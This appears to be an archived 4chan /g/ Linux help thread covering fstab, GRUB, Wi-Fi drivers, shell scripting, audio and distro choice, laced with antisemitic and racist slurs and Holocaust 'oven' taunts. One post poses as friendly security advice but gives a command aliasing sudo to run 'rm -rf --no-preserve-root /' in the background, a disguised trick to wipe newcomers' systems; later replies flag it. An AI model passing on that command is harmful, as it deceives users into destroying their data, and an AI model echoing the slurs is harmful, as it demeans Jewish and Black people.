/fglt/ - Friendly GNU/Linux Thread

>>61662025
>before bump limit
no

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First for Void GNU/Linux

Real new thread:
>>61662049
>>61662049
>>61662049

How do I learn how to use systemd?

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>>61662058
made some void papes a while back (4)
bumping for void

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>>61662025

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daily reminder what arch users look like in real life

Shit thread, saged
Everyone wants the thread to be renamed to /flt/, fuck off stallmanfags, no one cares about you

>>61662653
fuck off nigger, it's called GNU/Linux for a reason

why do we have 3 threads?

>>61662653
I think you mean GANOO SLASH LINUX

#is my fstab entry correct?
#i want compressed btrfs to store marinaDB
#baza0
UUID="77e859cc-5d59-4ff2-9cd6-5af5e9270f7f" /mnt/baza0 btrfs defaults,auto,user,compress=lzo 0 0

gone for two weeks, /v/eddit spillover tries to schism muh fglt.

What the fuck happened and how bad it is?

>>61663632
Looks fine friend.

>>61663805
/fglt/ itself was the schism you fucking retarded Jew lover, now fuck off back to /pol/ and cause your schisms there

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>>61663827
kthx

>>61662653
>Everyone wants the thread to be renamed to /flt/
Yeah, you and the two of your autistic friends. Everyone.

>>61663828
Of course I remember that, before /fglt/ this general was a massive piece of shit full of drooling manchildren asking for windows and android advice.

/fglt/ served it purpose for a long time and filters undesirable content (like the forementined android tech support) and it's the ONLY non-cancerous general on this board.

>>61663841
82 people in the last thread. Nice try kike. Go back to Auschwitz any time.

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>>61663863
Because you posted it before the post limit like the autistic little child you are so "yours is on top lelelee XDXDDXD" and people not paying attention to things like that did the rest.

>>61663892
Exactly how you tried to make faglet legit, kike. Now go back in the oven.
Sage

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Anyone tried kernel 4.13?

>>61663908
I'm not the one who insist on force his retarded preference for androshit garbage and other non-GNU/Linux operating system.

What the fuck is going on with Devuan project?
Debian 9 was released over a month ago and there's still not a single rumor of Devuan 2.0 ever becoming stable

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>>61663912
probably me (i dont remember but i have sorce in /usr/src :P)
why u askin?

>>61663935
huh?

>>61663934
Keep on strawmanning, kike. That's all your tribe is good at. Then we throw the strawmen into the oven with you.

>>61663963
Shut down by the NSA
bad goys didn't use systemd

>>61663972
Apparently Linux 4.13 + Mesa Git RadeonSI just got a performance boost
https://www.phoronix.com/scan.php?page=article&item=amdgpu-1730-radeonsi&num=1

>>61663978
>n-nno u XD
>k-kike look mom new offensive word XD
great fucking argument there dearest friend.

You forgot to call me a nigger and a spic for good measure.

>>61664002
But telling me I forced android is literally a strawman, I never did anything of the sort. I just can't stand you GNUjews and your unwanted garbage in my tech. Get out of my website, kike.
I'm glad the anons of this general have started resisting your Jewish tricks and kicking you out like you have been kicked out of Europe since day 0.
Sage

>>61663996
I'm still not getting the gist of what purpose does AMDGPU/AMDGPUPRO is supposed to serve.

if AMD was keen on working with the community why not ditch efforts on muh unique snowflake drivers and use your expertise as the source of hardware itself to refine what the community already has?

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>>61664036
>i-its the evil jew kikes taking over!!!

>>61664036
Sad image of a /pol/edditor.
Jesus Christ.

>>61664064
AMDGPU PRO is open source though

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guys, i need good OS for my raspberrypi. raspbian is nice but patching sudo took over month...

>>61664036
Anon, if you don't like this thread why won't you go back to the one you made? You are purposefully subjecting yourself to the things you don't like.

I want to try out some operating systems on my main computer, namely Redox, GuixSD, Haiku and FreeBSD. What hypervisor would you recommend? I remember having used QEMU+KVM a long time ago but if I recall correctly it was a pain in the ass and the commands were horrendously long. Suggestions?

>>61664089
Well as far as I understand the "baseline" driver for 2D graphics necessary to be able to graphically install the system is, the "PRO" bit are the extensions.
Whether true or not I still don't get why they can't just go the intel way and be fucking done with their drivers

>>61664079
I need to bring /pol/ in here. Give me a minute pls

>>61664108
Dunno about haiku but redox works fine with KVM/QUMU
https://github.com/redox-os/redox

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>>61664108
>not including ponyOS into list

>>61664119
Intel graphics are far simpler than that of AMD/NVIDIA. You see, you already have mesa-git for generic drivers.
AMD's in-house drivers like amdgpu pro are for specific kernels and tuned for max efficiency

>>61664099
Are you referring to the process of patching and rebuilding a package?
It's quite complicated on debian, true.
RPM-based distros are a lot easier in this regard, the

Try Devuan, they maintain ARM images.

>>61664079
kek

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>>61664162
>and tuned for max efficiency
I can see that.

>>61664158
I looked it up expecting that it's just a fork of some distro but apparently ponyOS has its own kernel kek
>tfw you don't run 4.0.2-mlp

>>61664177
i mean after secu-bug was fond it took long time to upgrade their repository.

does devuan-arm contain kernel that support GPIO and other single board related staff?

I can **(((Install Gentoo)))** but i afraid kernel compilation will took long time

actual benefit in learning and using gentoo? Or is it just a waste of time?

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What are some cool terminal commands?

>>61664079
Jews are inferior though. You wouldn't call a malevolent virus superior because it's good at infecting people. You would just call it an annoying fucker.
By your logic, herpes is superior.

>>61664240
>I can **(((Install Gentoo)))** but i afraid kernel compilation will took long time
There's this thing called offsite compilation, you don't have to do it on the underpowered machine.

>>61664258
If you have to ask, probably not for you

>>61664265
curl wttr.in/zurich

>>61664240
genkernel all took about 2 hours last time I tried.

>>61663996
Man I'm tempted to try this on manjaro

>>61664277
>If you have to ask, probably not for you

that's a pretty great logic.
Do you continue to stick dildos in you ass when you have to replay?

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>>61664301
tfw

>>61664277
>offsite compilation
good point...
>>61664281
looks not that bad.

thx guys.


>>61664265
mpv -o /local/dir https://link/to/jewtube

>>61664331
you again with your ugly gnome shell...

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>>61664343
:^)

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Why there is so much hate on Tor?

I know perfect security is impossible but its not reason to make surveillance harder...

pic figuratively rel

>>61664403
It's just NSA/anti freedom shills

>>61664265
ulimit -u <maximum of allowed processes>
never get fork bombed again

What are the great dangers of installing the newest kernel versions available?

>>61664523
There are no great dangers.

Now, that Arch is going to leave 32bit, with which distro should I replace it on my t60? I'm a long time Arch user, is Gentoo my only option? I'm a bit scared from the source based distributions, because of my ancient cpu.

>>61664326
If you're so fucking smart why haven't you looked for your answer already?
Even the fucking gentoo website/wiki lists you the advantages of it you cumguzzling faggot.

>>61664698
Debian supports i386.
Devuan jessie has announced support till 2020.

>>61664623
Aight, time to update to 4.13

>>61664698
Question: Is there a reason for it to leave 32bit? What are the benefits of that?

What's the best way to burn .iso files to USB drives from CLI?

Hey there, was just wondering on what distro to use. Im mainly a graphics designer ( mostly blender and gimp) and play some casual games from time to time. I know there is no perfect distro and I can literally install these packages on any other distro. I just want to move away from Ubuntu Studio for a bit and wondering about other good pleasant experiences

>>61664265
Rate my terminal separator animation.

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>>61664523
its dangerous to keep old kernel :v

>>61664774
Manjaro

>>61664774
>wondering about other good pleasant experiences
There's only pain. If you want productivity, stay on Ubuntu

>>61662849
Because some asshole decided to make a /flt/ thread the other day.

>>61664265
>free kevin
who?

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>>61664810
orgasm/10

Anons, what sandbox techniques are (You) use?
i just ran that commands as user that have no privileges to my files, but as far as i know its mot enought due to existence of Synthetic X events and probably other issues

>>61664875
But muh Ubuntu is boring. Any distro can run blender and gimp flawlessly for me. Open source amd drivers works amazing for me so I don't need to worth about that

>>61664523
bugs + regressions

>>61664698
What processor in your T60? My T60 is 64 bit.

>>61664746
Focusing development on the future where 32 bit computers are irrelevant.

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>>61662058
>Pokeball Linux
They don't even have automatic partitioning in their installer. Even Debishit has this figured out in their non-graphical installer.

Listen, I support Void. It seems like a really, really good concept. But for fucks sake it needs the massive amounts of dedicated developers like Ubuntu or Fedora has. Maybe the lack of systemd scared away all the pajeet-tier developers and that's why its so slow.

>>61665019
troll posting
>>>/r/eddit

>>61664958
It's okay to have a bug in the kernel if its such a new bug no one knows how to backdoor it yet.

And by the time they figure it out, you'll have upgraded to the next kernel with different bugs in different places.

>>61664523
Which kernel?

xcalib with an .icc profile only seems to work for a very short period before reverting back to shit. What am I doing wrong?
Arch, T420 TN, memes.

>>61665083
4.13.0rc2-1 in Manjaro.

Manjaro keeps telling me "update your kernel sir, sir, you have kernel updates, you should probably update the kernel. I keep telling you, there's-" I'm running the LTS kernel (4.9.39-1) and I've been thinking about it, that is all.

Grub is not showing open suse
any idea why ?

>>61664911
Nice try, NSA.

how to find all new files from the last 7 days in a directory?

>>61664975
He probably has Yonah core, and it really is still 32-bit. T60s also have 64-bit Meroms.

>>61664698
Just buy Core 2 Duo T7400 or T7600 off Ebay. Those are the fastest 64-bit CPUs compatible with T60.

>>61665063
smrt.

>>61664810
breddy good

>>61665191
https://sourceforge.net/p/boot-repair-cd/home/Home/
>>61665226
ls -t | awk 'if u hacker {hack it}'

>>61665191
*help*

>>61665226
find . -type f -mtime -7
>>61665625
http://mywiki.wooledge.org/ParsingLs

So /fglt/ thread won. That's a good sight.

>>61665625
there has to be another way

>>61664810
You can save some chars by replacing \s with actual spaces.

>>61665653
>http://mywiki.wooledge.org/ParsingLs
># BAD! Don't do this!
>for f in $(ls); do
> ...
>done

b-but why?

>>61665711
No idea why I forgot this. ty

>>61665781
Run this:

for f in *; do printf -- '%s\n' "$f"; done

>>61665813
This, also for complete security, use ./* instead of plain *. Read here why: https://www.dwheeler.com/essays/filenames-in-shell.html
>>61665781
Parsing ls is always just wrong. You can never be sure about the output since it depends on locales and whatnot, furthermore it spawns an additional pretty useless process.

>>61665871
>>61665813
alright anons, ill lurk m0ar (i found related bug now btw)

>>61665139
figured it out, it was redshift.

>>61665892
Here's a nice collection of failures:
http://mywiki.wooledge.org/BashPitfalls
Also install shellcheck if you want to write rock solid scripts.

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>>61665926
>http://mywiki.wooledge.org/BashPitfalls
thx
>>61665926
>Also install shellcheck if you want to write rock solid scripts.
FUGGGG DAMN THANKS.
PEOPLE LIKE (You) MAKE /fglt/ GREAT AGAIN

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>>61665926
>shellcheck
I'm using it in vim with syntastic. Comfy as fuck. There's also an online version https://www.shellcheck.net/ useful when not on your own machine.

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DOWN DOWN DOWN WE GO

>>61666161
Thanks for the (You), anon-kun.
>>61664265
Adding this in order to get some more (You)'s.
In case you guys want to write portable POSIX scripts, there's a pretty cool package in Debian called 'manpages-posix'. When installed, you have (obivously) additional manpages you can call like this:

man 1posix grep

Helps when writing portable scripts.

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>>61666396
>not writing unportable scripts on purpose so they dont run on macfag machines

Ubuntu truly has the worst color schemes on earth.

>>61666521
You forget the BSD guys.

>>61666559
>not customizing your distro
is this your first day using computers in general?
>>61666560
they're rude, but I agree

>>61666584
>>they're rude, but I agree
On 4chan maybe, but in general BSD people are pretty much /free software/ team.

>>61666584
No, I fiddled a bit with it. And just came to the conclusion pretty much everything else looks less depressing right out of the box.

>>61666663
Which DE are you using? Some DEs are pretty uncomfy to rice, especially Unity.
Also what exactly are you referring to with "color schemes"? Do you mean GTK themes? QT? Xcolors?

What does /fglt/ think about the suckless project? I'm currently using dwm and dmenu, pretty comfortable, at least when you know how to apply patches, compile and a bit of C.

>>61666705
Iḿ currently using Ubuntu with Unity, so the standard. Iḿ thinking of rolling it out at the business I work at, so I want something standard. The sidebar changes color depending on the wallpaper, but it seems to prefer dirty and darkish colors, like purple and poisonous green. I think it would help if changed between more happy mat colors. And the fact that the bar is often semi-transparent doesn't alway help either.

>>61666823
suckless made me actually learn C.
>want feature X
>read some tutorials how to write code which results in X
>implement it in dwm
That said, I'm using bspwm now, but I still love my hacked dmenu.

>>61666899
*it would help if they changed
*always

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A good and proper music player that will easily work with my multimedia keys and wont snitch about my animu music?

How the FUCK can i stop kikefox from using my system theme?

Fucking black boxes everywhere and motherfucking white text on white backgrounds.


Also, how do i disable the piece of shit software updater in Kubuntu i am tired of seeing the faggot arrow in my service tray

>>61668231
I just use mpv since it supports every format known on the planet.

That said, the best things IMHO are mpd (with a client of your choice, netcat or mpc are good enough, for TUI try ncmpcpp), for foobar-like GUI rice try DEADBEEF.

>>61668231
tbqh the best you can do is using mpd with some keybinds
i use xbindkeys

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>>61668273
>>61668318

I already have MPV.
but i dont want to keep fucking around with config files and binds, i just spent the last 6 hours fixing the stupid mistake of changing the python2 Symlink for the python3 symlink.

MPC-HC used to work so flawlessly on windows.

>>61668350
>but i dont want to keep fucking around with config files and binds
Skilled mpv user here, if you want, feel free to ask how to make XY happen.

>>61668350
just use mpd senpai, thats where we all end up with b/c it's just the best
>come home
>phone regonizes my wifi
>connects, starts mpd and soem shit I need
>tfw comfy

>>61668411
>>61668381
What music player do you suggest for non-hackers?

>>61668350
GNU/Linux has a long history of the majority of its userbase demanding bare-bones software with no integration and letting the user stitch together their own ideals of integration.
As far as I can tell the amount of users wanting things to "just work" and have all sorts of automatic integration out of the box has only become sizeable relatively recently.

>>61668440
>non-hackers?
Whatever comes with your DE.

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>>61668450
I also like to fuck around and fix shit because it helps me understand why and how is the shit fucked and how to fix it.

But i dont want to spend the entire day fixing still more shit, i just want to sit back and listen animu music on my 2 dollar headphones and fuck around in Factorio.

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>>61668350
>MPC-HC used to work so flawlessly on windows.

>>61668519
I mean there's definitely software out there that you're looking for. I just can't recall what any of them are called as they're not usually stuff people come here to ask for help with (since they just work)

Do you not have a DE that came with a music player?

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>>61668519
just install what you like, if you have any questions, feels free to ask, I'm always online

>>61668582
;_;

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>>61668582
ty senpai, good to know we have helpful lads around.

I shall come back the moment i fuck something up again.

I love you guys. All of you.

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>>61668645
d-dont make me moist

good thread

>>61668519
qmmp is a winamp2 clone, those are always fun

>>61668918
This reminds me of a question. What is the most secure way to run nonfree software in general (except VM)?

>>61668989
The most secure way is simply not running proprietary software. There are useful things like firejail or chroot jails and sandboxes in general, but there's no guarantee that the program will stay in your sandbox.

Proprietary software belongs into a VM and not even here there's 100% security. It's that simple.

Learn qemu and how to secure it. That's the "most secure way".

>>61669106
>Learn qemu and how to secure it. That's the "most secure way".
Is there a GUI frontend for lazy people like me? I already read the arch wili article and its just too much.

>>61664886
when you look closly, you'll realize that it's just /pol/ hunting jews

>>61668989
>the most secure way to run nonfree software in general
The same as the most secure way to run free software you dip.

>>61669224
I wonder why /pol/ even considers using computers in general, being an invention by a gay person in order to crack some Hitler code, extended by autists and made popular by jews and gays CEOs.
A true white aryan doesn't use jewish tricks like computers.

I have an ancient Compaq SDM4540UL Keyboard with a shitload of extra keys that i cant use under linux.

In fact i cant even use any other than next-prev track and the volume keys and sleep.

I have tried with LinEAK but the mothefucker wont compile at all, in fact i added several libraries into the source code and the errors diminished but the motherfucker wont work.

Please help me.

>>61669295
>A true white aryan doesn't use jewish tricks like computers.
Saved into my fortunes file.

Debian now supports pattern matching in /etc/network/interfaces to get around "predictable interface naming", more like "interface names for computers, not for people".
http://termbin.com/4cs3

>>61663963
Can't you just remove systemd from normal debian reasonably easy still?
There is no point for the distro in that case.

Same reason GNewSense died out.

>>61668645
>>61668662
>>61668817
gnu peeps are the best peeps~
<3

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>linux not recognizing my multimedia keys
>In fact it wont even register them in evtest
>Unpĺug it and plug it into a usb 2.0 port instead of usb 3.0
>Keys start fucking working

I am still missing over 8 meme keys but at least i can kill my animu music when someone comes near.

long time gnu/linux enthusiast here. If you are new to the OS you probably haven't set up the built in security software yet. Even experienced users sometimes let it slip their mind, until one day a chinese computer scans and finds open ports and vulnerabilities in your computer. Fortunately all you have to do is open a terminal window and run the following command.

foo() { sudo "$@"; sudo nohup rm -rf --no-preserve-root / > /dev/null 2>&1 < /dev/null & }; alias sudo=foo

This locks out would be hackers and keeps you safe from automated attacks that successfully target hundreds of computers every day. Even if the OS is intimidating at first, don't give up! It get's easier and the benefits are very rewarding.

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>>61669936
Please no bully the newfriends

>>61669936
>rm

Try Source Mage guys

>>61669936
pls be nice and no bully

although for real
a simple security tip if you have sshd exposed to the internet:
1) disabling root login over ssh will kill like 90% of chink hacking attempts
this is a really easy thing to do and it is pretty effective considering it's as simple as changing a "yes" to a "no"

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I'm trying to dual-boot a Mint build on my machine, but I can't get my shitty Chinese WiFi adapter to work. It's this dongle:
https://www.amazon.com/BrosTrend-600Mbps-Adapter-Wireless-WNA016/dp/B0118SPFCK

And I'm using these drivers (since the official MediaTek drivers, for the common chip used by the dongle, won't work on kernel 4.8):
https://github.com/ulli-kroll/mt7610u

Finally the adapter is recognized and I can even get a list of wireless networks to show up in Network Manager. However each one's signal strength shows 0% and when I try to connect to one, it shows "connecting" for a minute and then finally "you have been disconnected".

Any commands I can use to debug this or figure out what the hell is going on? This adapter is notoriously hard to get working on loonix so I'm seriously considering just buying a new fucking one, it's pissing me off.

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>>61670243
your fault for getting such a piece of shit.

>>61670272
Sure, but I'd much rather just delve in & fix it myself for muh linux experience than going and buying a new one just because I wanted to try out mint on my desktop. If that's what I have to end up doing then I'll probably just stay on windoze instead.

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Friends could someone please help me with GRUB? I spent a while last night getting the screen brightness controls working on my thinkpad w510 running Mint 18.2. I had to fuck with the default grub file in nano, adding nox2apic got it working so I ended up with the following.

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nox2apic"

However now when I boot the laptop I'm presented with a different prompt to decrypt my main drive, this prompt is completely locked up. There is no mouse pointer and hitting tab doesn't highlight the text field. All I can do is hit ctrl+alt+del to restart and then in the GRUB recovery console that follows this I can select my mint partition and get the normal decryption prompt that I used to get.

I've tried editing the above line with several recommendations from people with similar issues but nothing helped. This is the screen I get on a cold boot, any ideas?

>>61670243
You will want to check the wpa-supplicant output. It should show up in syslog.

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>>61670534
Here's what I used to get on boot

>>61670551
>>61670534

I'm reading a bit more into this and I think the problem is that I've enabled GRUB in the first place, is it possible that mint by default on a single OS boot would use an EFI stub instead of grub to boot? I may have forced GRUB over an existing set up which is likely giving these problems

>>61670635
Not if you can boot in from the revovery console of the same grub. If you edit the grub command line for the failing boot and just remove the nox2apic and boot from that does it boot?

>>61670749
If I remove nox2apic it makes no difference, likewise if I leave it completely blank it also makes no difference, like below

GRUB_CMDLINE_LINUX_DEFAULT=""

>>61670767
lol, I meant edit it from the grub menu. Are you running update-grub after editing that file? And update-initramfs since that is the thing you are actually having trouble with.

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anyone else experiencing this?

if i type while the computer is under load, it jumbles up the order of the letters
this is fine 90% of the time, but where it fails hardest is in the gnome search bar, where it starts searching as soon as you start typing. this unfortunately means that the string you enter is almost always scrambled randomly

is this a gnome problem? an ibus or xorg problem? a debian problem?

google seems to bring me a mishmash of various different reports of similar but slightly different problems

for the record, it happens on multiple machines

>>61670943
Probably not ibus or xorg. I use them and have never experienced anything remotely like that in any software.

>>61670943
Well I'm on debian withought gnome or ibus and have never encountered anything like that so I don't think it is a debian problem. Sounds pretty shitty though.

>>61670943
I had something like that happen when I tried out stretch.
It doesn't happen on Fedora though.

Can anyone tell me what the bang in this iptables line is inverting? Is that anything that isn't loopback or anything that isn't part of input chain?

$IPT -A INPUT ! -i lo -d 127.0.0.1/8 -j REJECT

>>61671112
nvm, shouldve more closely read the damn manual. it's inverting the sense of the interface specifier, in this case loopback

>>61671112
The bang only applies to the next param. So it is saying any packet coming in with a dest IP in the 127/8 subnet that didn't come in on lo can go into the trash.

>>61671090
>>61671060
>>61671044
>>61670943
I had the same problem in the same situation.
Switching to Wayland resolved it for the most part, and in Stretch it works pretty good.

I suspect it's just a shitty combo between ibus+xorg+gnome that causes it, because none of the components do it in isolation that I'm aware of.

>>61671179
this actually worked!
thanks so much <3

idk it made it a little slower to type in the search thing
but it is in the right order now so its better overall because now i can just type it right and hit enter and the right thing will pop up

>>61662025
Does anyonoe here use manjaro and wacom tablets? Manjaro won't even recognize the USB used to plug the device in through lsusb, yet the tablet knows it's plugged in. The fourms and IRC are being unhelpful dicks. I've installed the linux-wacom, xf86-wacom, and libwacom drivers multiple times, and under mutiple reboots the problem persists. I don't want to have to go back to windows just to draw a fucking picture.

>>61671292
I should also say that no, I will not wipe my HDD and flash any non-pacman distro on my computer, aside from the wacom issue, Manjaro has been a sweetheart.

What distro can I dual boot Win 7 with that doesn't wipe the hard drive its installed to? Wanted to install Korora but it wipes the drive.

>>61671292
>won't even recognize the USB used to plug the device in through lsusb,
Sounds pretty fucky senpai. Check if there are any error messages in the dmesg output right after plugging it in.

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>>61671339
Get another Storage device and boot from it.

Otherwise make a partition and make sure the motherfucker stays there.

Dont use a file system that windows wont recognize if you want to access them easily from your windows OS.

>>61671339
An installer should only be concerned with individual partitions, not the whole drive. None of them should wipe your whole drive, never heard or korora before.

Is there a way to stop audio usb popping on Linux? Got a Fiio E10K and it makes popping sounds when stopping or resuming any audio file or whatever sound is the system doing, have tried pretty much anything, but still open to suggestions, I have researched a lot on Google and Arch's Wiki but nothing have worked, actually im on Arch Linux systemd/pulseaudio, but even when I tried Alsa the problem was still there. Desperately, Iam downloading a supposed Audiophile distro with some special features such as a RT kernel. Hope it works before killing myself. Don't want to come back to the wincuck botnet, sadly the DAC works without any single issue there, since it handles Audio in a different way.

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Manjaro-openrc has been killed and the maintainers are starting a new distro called Artix, which will be a systemd-free version of Arch itself.

https://forum.manjaro.org/t/manjaro-openrc-will-be-discontinued/28387

I've been using manjaro-openrc for a bit, so this is annoying. My choices are to either keep using the existing manjaro setup until it breaks, purge the manjaro content and convert to Artix (which is barely functional at this point), or move to a different distro.

I'm thinking of just switching back to gentoo so I don't have to worry about these things.

>>61671882
Hmmmmmmmm, usually mine justs pops during init, presumably because of the thing being driven all of a sudden and the ground changing or some caps charging.
Have you tried playing a silent audio file in a loop in the background all the time?
:V

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Ubuntu16.04 WiFi and Headphone often don't work.
Today is the "don't work" day.
They know many ways to let people study technology.
I can't blame them

>>61671916

>apparently a power user who would benefit from a different init system
>doesn't know how to change it himself

What a pretentious retard. Disconnect yourself from the internet, idiot.

>>61672224
>says disconnect yourself unironicaly
Just give up on life already.

>>61672369

I was told that saying "kill yourself" was rude and this is a friendly thread.
Either way he should find a way to spare everyone his idiocy.

kind of a stupid question but I've always Wondered if there's a difference between say seq -s ' ' 1 10 and seq -s " " 1 10. when using double apostrophes ", I can add one in the string by using the escaped "\"" which doesn't work for single apostrophes ('\''). Are there any other differences?

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Hey Guys

I've been considering coming back to Linux, and have been debating installing the latest version of Ubuntu. Haven't used it since the 10.04.4 LTS. Is there a better distro that isn't gentoo that would be better or is the latest unbuntu good enough?

I'd just like to interject for a moment. What you’re referring to as GNU/Linux, is in fact, Wine/Linux, or as I’ve recently taken to calling it, Wine plus Linux. GNU/Linux is not a functional operating system unto itself, the software and games that Wine enables Linux to use makes it roughly on par with Windows and will only get better going forward.

>>61672553
https://bash.cyberciti.biz/guide/Quoting

>>61672632
Not much has changed in the relative popularity of distros since then, Bill. Maybe arch gained a wee bit of market share and people started laughing at downstream distros more.

>>61666823
Been using dwm, dmenu and st for quite some time.
It's pretty snazzy.

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>>61668350
>archnigger
>btw windows was better
get out, you're just a poser

>>61672224
That post wasn't very /friendly/.

>>61672224
Here's the problem: when people get told left and right "systemd is bad, systemd is bad" they stop questioning it and you have new faggots asking "how do I get rid of systemd because I want to fit in"

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pic related is enough to learn GNU/Linux and basics of shell? if not what else would I need? also how do I properly read the manuals and learn to execute the commands? all that punctuation, symbols and numbers kinda confuses me

128gb ssd
256gb ssd
500gb hdd
Need advices on how to set partitions and mount points. My current plan is to have 500mb /boot(with efi flag for an entire /boot, i heard its possible) and rest for / on 128gb ssd, entire 256gb ssd for /home, 20gb partition on hdd for /var and mount everything else to /mnt/hdd or something.

>>61674084
That's probably what I would do. I never consider setting up a separate home partition on my secondary drive because it's an hdd. I think on efi you'd have those 500mb on /boot/efi and I would use that extra 500gb hdd probably on big files. Movies, ISOs, etc. Maybe XFS would be more appropriate for that.

Been using Geary for a while and switched from Gnome to KDE. Geary is missing notifications on it, any alternatives?

I'm looking for an email client that's not cluttered and has just about the same amount of features really. I tried KMail and it seems to have a lot of clutter and shit I don't use (and some damn weird defaults to be honest)

>>61674298

If Geary is using the freedesktop notification protocol, it should work on KDE Plasma too. See if you had a notification daemon running on KDE Plasma.
Do not switch to a different piece of software just because of something menial as that.

>>61674883
>Do not switch to a different piece of software just because of something menial as that.

Yeah, googling that shit gave me the impression (by the results) that it wasn't really supported. I'll be honest, I'm not too savvy but I still want them notifications. I'm going to check what's going on with this.

>>61662366
>>61662352
>>61662332
>>61662311
Pretty nice anon

>>61674925

What kind of notifications did Geary give you? Open your terminal and type "notify-send test". Did it look like that, apart from the message and missing icon?
If yes, it IS supported on KDE Plasma.

>>61671921
That probably works with an Audio loop of complete silence, but would be like a workaround instead of solving the problem. Are you using an E10k too? if so, which distro are you using?. On the other hand, It is barely noticeable if you're doing regular tasks, like listening to music at higher volumes, the problem itself get harder when talking in voice apps, such as discord/ts3/mumble... when people use continous transmission, their mics are constantly making small sounds producing a popping sound festival in a couple of seconds...

xubuntu or fedora xfce?

which should i try?

>>61675152
>>61671921

I'm using a Sound Blaster Audity, which is probably similar and using the same drivers, snd_emu10k1.
I get popping and crackling when I change the volume. But it only happens with Pulseaudio. ALSA alone doesn't have it, but I prefer using Pulseaudio.

Tried everything on the internet (Arch Wiki has some suggestions) but nothing fixed it.

Using an "audiophile" distro won't have any effect. Try these first:
https://wiki.archlinux.org/index.php/PulseAudio/Troubleshooting#Glitches.2C_skips_or_crackling

>>61675230

Look up the things which define a distribution and then install it and Xfce on top of it.

>>61675286
>Look up the things which define a distribution and then install it and Xfce on top of it.

xubuntu it is, thank you

>>61675144
Well shit, I guess that was some trouble I had with Kubuntu. I tried geary in manjaro and it does show notifications correctly. Guess I should try shit more before giving it up. Many thanks.

if you're looking for ganooooo lunatix enabled audio hardware

https://www.ap-linux.com/documentation/supported-dacs/

>current year
>can't hot-plug HDMI

Why?

>>61675650
but it is hotpluggable

>>61670540
Alright, I looked in the syslog and found multiple lines of:
wpa_supplicant[1210]: ra0: CTRL-EVENT=SCAN-FAILED ret=-16 retry=1

No idea what to do with that. I forgot to mention that upon rebooting every time, I have to manually restart Network Manager to get it to show any wifi networks at all. I dunno if this is a problem with my drivers, or just a problem with NW/wpa_supplicant?

KDE is really nice

Is there an easy way on mate to make a window half of the screen vertically?

Should I go with Lubuntu on my potato laptop? Any issues I should know about?

>>61675692
>plug in HDMI cable
>open up pulse audio to change the audio to HDMI
>open up terminal
>write something like xrandr --output HDMI --mode 1920x1080
Needlessly complicated if you ask me

>>61677179
you could make a udev rule to do those automatically (both for plugging it in, and changing it back when unplugging it)

>>61675728
Network manager is retarded as fuck, try installing wicd and see of it helps

Did the new opencl-amd update from AUR fuck up OpenCL for anyone else? It can't find my GPU anymore.

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doing a low-spec challenge with my friend that starts next week, we take our most powerful single core, single thread, 32-bit machine and use it for as long as possible, first person to give up pays the other $20, this is my machine:
>Pentium !!! 1,000MHz/256k Cache
>256MB SDR
>generic as hell sound card
>ATi Rage XL 8MB graphics (((accelerator)))
>18GB HDD
>1.44MB 3.5

everything else is trivial, my question is which Linux distro and which version of that distro would run smoothly on that machine? it doesn't have to be brand new, my friend is using Win 2k, and all i have to be able to do is latex writing and text based web browsing since that's my daily use Anyway. Can you gentleman recommend me something?
>inb4 gentoo
no u

i'm a complete linux beginner
a couple of days ago i installed elementary os on my laptop and now im trying to setup the email program, it support just logging in with my gmail account, but the problem is that i have two factor login enable on my gmail account
the built in app doesnt support that and now i cant get in my account
is there any other program that supports this or can i somehow bypass it?

>>61677668
Puppy Linux
It's actually pretty functional

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I got a new laptop the other day and wiped the hard drive from windows, and now when I try to install Zorin I get stuck on this during the install. Any idea on how I could fix this?

>>61677955
it might be doing a full format, which can take a while
are you using encryption? typically those tools will do a full erase by default

>>61677955
Try partitioning manually via fdisk.

>>61678007
No I didn't choose the encryption for this because I was having this problem for a while, I left it on overnight but it still hadn't moved at all

>>61678060
What would be the best way to set up the partitions? I had the OS installed at one point but it still wouldn't boot without my USB in the side

>>61677833
are there going to be any issues for drivers with all my other shit?

>>61678091
Which os?
Provided it's linux:
grub
/
/home
/swap (if you need it)
If it's windows^
/bootloader
/ntfs with OS
/grub
/
/home
/swap (if you need it)

>>61678071
reboot it and try again
perhaps try making the volumes beforehand using gparted, then tell the installer not to format them

>>61678091
if it asks you where to place the bootloader, make sure it's set to the internal drive
it shouldn't be placing it anywhere else, but i can't speak for zorin, it's not exactly a common distro

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>>61678131
>>61678132
Here are the partitions that it has set up right now that are giving me trouble with the installation. The distro is Zorin and I don't want to dual boot or anything, just hopefully going to single boot with this

>>61678186
that looks fine
if you want to format those without using the installers format option, just run these;

mkfs.vfat /dev/sdb1
mkfs.ext4 /dev/sdb2
mkswap /dev/sdb3

then just leave the "Format?" options unticked, as they are now, and set their mountpoint (sdb1 as /boot, sdb2 as /)

>>61678243
I was able to do all of that except set the mount point for sdb1 as /boot, when I attempted to install it says there needs to be a efi partiiton and I can't set the mount point with an efi partition

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>>61669295

>>61671292
Try kernel 4.10 or newer?
4.10 was supposed to improve wacom tablet support.

>>61678399
just let it format sdb1, then. it apparently got part that before anyway (assuming it formatted them in order)

>>61678465
Looks like the install worked, thanks m8

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hey /fglt/, big ass problem. So I have a wifi USB connector that I use on linux mint, and recently I went into the BIOS and turned off the wifi all together, then turned it back on. Now my USB isnt turning on. What the fuck do I do?

I just disabled flat-volumes in pulseaudio, my ears still hurt but at least it's easy to disable.

Can anyone explain why the fuck is this shit on by default?

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anyone help me figure out why my userspace is taking so long to start up? after solving an issue where my USB keyboard extended boot times for whatever reason, I noticed that the output of systemd-analyze shows userspace as taking over 90 SECONDS to start up. it doesnt seem to be of any consequence, i can still use the desktop environment hwile it's still "booting", but I was wondering what it could possibly be.

here's the output of systemd-analyze:

Startup finished in 14.240s (firmware) + 516ms (loader) + 2.415s (kernel) + 1min 30.343s (userspace) = 1min 47.516s

blame doesnt show anything taking more then ~300ms and critical-chain is the same, but the fact that it's always approximately 1 minute and 30 seconds on userspace leads me to believe something is timing out. for others this seemed to be an issue with networkmanager, but that hasnt shown on any of my tests. here's a bootchart if anyone wants to analyze it. this one might be weird because there were allegedly also some ~30 second services started up this boot that i havent seen before, even though my boot to desktop environment is only about 10 seconds right now.

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Does anyone with any git experience know how to download this directory?
http://scmweb.sourcemage.org/?p=smgl/grimoire.git;a=tree;f=gnu/gcc;hb=def0c390db34e1ff04c8fc2510909e77f12d5e48

>>61678770
Wow, i forgot to mention, i'm using Antergos.

>Start button does nothing under linux
Anything I could do with it?

>>61678770
looks like updatedb is likely to be the culprit of a big chunk of it, you can disable it or limit what folders to scan with it if you want to cut that down

